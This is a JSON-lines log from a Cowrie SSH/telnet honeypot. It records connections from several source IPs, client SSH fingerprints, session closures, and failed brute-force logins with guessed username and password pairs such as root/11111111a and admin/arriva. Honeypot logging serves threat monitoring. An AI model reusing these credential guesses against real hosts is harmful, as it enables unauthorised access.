{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:37.517870Z","src_ip":"2.57.121.112","session":"a666e03594f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:37.619754Z","src_ip":"2.57.121.112","session":"a666e03594f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"arriva","message":"login attempt [admin/arriva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:38.099530Z","src_ip":"2.57.121.112","session":"a666e03594f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"arnhem","message":"login attempt [admin/arnhem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:39.204820Z","src_ip":"2.57.121.112","session":"a666e03594f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40536,"dst_ip":"10.17.0.5","dst_port":23,"session":"40927f1b9ae2","protocol":"telnet","message":"New connection: 152.42.224.71:40536 (10.17.0.5:23) [session: 40927f1b9ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:40.030320Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ariel1","message":"login attempt [admin/ariel1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:40.307387Z","src_ip":"2.57.121.112","session":"a666e03594f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"arcturus","message":"login attempt [admin/arcturus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:41.411258Z","src_ip":"2.57.121.112","session":"a666e03594f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"archibald","message":"login attempt [admin/archibald] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:42.515899Z","src_ip":"2.57.121.112","session":"a666e03594f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:43.619816Z","src_ip":"2.57.121.112","session":"a666e03594f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00132322311401,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:44.198778Z","src_ip":"152.42.224.71","session":"6b724e74422d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40546,"dst_ip":"10.17.0.5","dst_port":23,"session":"75105b04f3b6","protocol":"telnet","message":"New connection: 152.42.224.71:40546 (10.17.0.5:23) [session: 75105b04f3b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:44.248321Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54824,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e1756d44376","protocol":"ssh","message":"New connection: 31.40.204.166:54824 (159.203.135.109:22) [session: 1e1756d44376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:45.783712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:45.798929Z","src_ip":"31.40.204.166","session":"1e1756d44376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:45.918225Z","src_ip":"31.40.204.166","session":"1e1756d44376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:46.503276Z","src_ip":"31.40.204.166","session":"1e1756d44376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54352,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb808aaf70f","protocol":"telnet","message":"New connection: 152.42.224.71:54352 (10.17.0.5:23) [session: ceb808aaf70f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:47.211776Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:47.697293Z","src_ip":"31.40.204.166","session":"1e1756d44376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54358,"dst_ip":"10.17.0.5","dst_port":23,"session":"6270f8392ce3","protocol":"telnet","message":"New connection: 152.42.224.71:54358 (10.17.0.5:23) [session: 6270f8392ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:48.064396Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":53748,"dst_ip":"159.203.135.109","dst_port":22,"session":"337f710515cc","protocol":"ssh","message":"New connection: 147.45.199.80:53748 (159.203.135.109:22) [session: 337f710515cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:49.077301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:49.082421Z","src_ip":"147.45.199.80","session":"337f710515cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:49.182574Z","src_ip":"147.45.199.80","session":"337f710515cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111a","message":"login attempt [root/11111111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:49.473504Z","src_ip":"147.45.199.80","session":"337f710515cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:50.573517Z","src_ip":"147.45.199.80","session":"337f710515cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54364,"dst_ip":"10.17.0.5","dst_port":23,"session":"719812d790d4","protocol":"telnet","message":"New connection: 152.42.224.71:54364 (10.17.0.5:23) [session: 719812d790d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:52.484692Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54376,"dst_ip":"10.17.0.5","dst_port":23,"session":"2309264e1045","protocol":"telnet","message":"New connection: 152.42.224.71:54376 (10.17.0.5:23) [session: 2309264e1045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:53.490980Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54386,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa82ebb6744f","protocol":"telnet","message":"New connection: 152.42.224.71:54386 (10.17.0.5:23) [session: fa82ebb6744f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:54.177339Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42772,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8da82ed68b2","protocol":"telnet","message":"New connection: 152.42.224.71:42772 (10.17.0.5:23) [session: c8da82ed68b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:56.920070Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43438,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0435355cc67","protocol":"ssh","message":"New connection: 31.40.204.166:43438 (159.203.135.109:22) [session: c0435355cc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:57.319185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:57.385571Z","src_ip":"31.40.204.166","session":"c0435355cc67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:57.518061Z","src_ip":"31.40.204.166","session":"c0435355cc67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:58.015980Z","src_ip":"31.40.204.166","session":"c0435355cc67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:59.187379Z","src_ip":"31.40.204.166","session":"c0435355cc67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.69722390174866,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:59.723558Z","src_ip":"152.42.224.71","session":"7a77f8823e51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42782,"dst_ip":"10.17.0.5","dst_port":23,"session":"6305e64e1ced","protocol":"telnet","message":"New connection: 152.42.224.71:42782 (10.17.0.5:23) [session: 6305e64e1ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:03.959942Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42784,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fd7cae445b4","protocol":"telnet","message":"New connection: 152.42.224.71:42784 (10.17.0.5:23) [session: 8fd7cae445b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:04.453642Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42798,"dst_ip":"10.17.0.5","dst_port":23,"session":"065ac518fffb","protocol":"telnet","message":"New connection: 152.42.224.71:42798 (10.17.0.5:23) [session: 065ac518fffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:05.181551Z"}
{"eventid":"cowrie.session.closed","duration":44.248629093170166,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:05.367521Z","src_ip":"152.42.224.71","session":"43374da754e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.14060688018799,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:08.279403Z","src_ip":"152.42.224.71","session":"8589db2a57ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48060,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8da5ee65069","protocol":"ssh","message":"New connection: 31.40.204.166:48060 (159.203.135.109:22) [session: e8da5ee65069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:09.802641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:09.808103Z","src_ip":"31.40.204.166","session":"e8da5ee65069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:09.982457Z","src_ip":"31.40.204.166","session":"e8da5ee65069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60172,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8acd0399f36","protocol":"telnet","message":"New connection: 152.42.224.71:60172 (10.17.0.5:23) [session: c8acd0399f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:10.121141Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60186,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2886f9e19df","protocol":"telnet","message":"New connection: 152.42.224.71:60186 (10.17.0.5:23) [session: f2886f9e19df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:10.673503Z"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:10.889945Z","src_ip":"31.40.204.166","session":"e8da5ee65069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60198,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb53ebeddc67","protocol":"telnet","message":"New connection: 152.42.224.71:60198 (10.17.0.5:23) [session: cb53ebeddc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:11.560654Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:12.017530Z","src_ip":"31.40.204.166","session":"e8da5ee65069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":37300,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0d98453b2f1","protocol":"ssh","message":"New connection: 103.27.238.114:37300 (159.203.135.109:22) [session: a0d98453b2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:12.345448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:12.350223Z","src_ip":"103.27.238.114","session":"a0d98453b2f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:12.622912Z","src_ip":"103.27.238.114","session":"a0d98453b2f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.52887535095215,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:13.031917Z","src_ip":"152.42.224.71","session":"231363839c5c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:13.440400Z","src_ip":"103.27.238.114","session":"a0d98453b2f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:14.720005Z","src_ip":"103.27.238.114","session":"a0d98453b2f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60210,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6890370ddc1","protocol":"telnet","message":"New connection: 152.42.224.71:60210 (10.17.0.5:23) [session: a6890370ddc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:14.831056Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41112,"dst_ip":"10.17.0.5","dst_port":23,"session":"05c3cf6e9ee3","protocol":"telnet","message":"New connection: 152.42.224.71:41112 (10.17.0.5:23) [session: 05c3cf6e9ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:17.125860Z"}
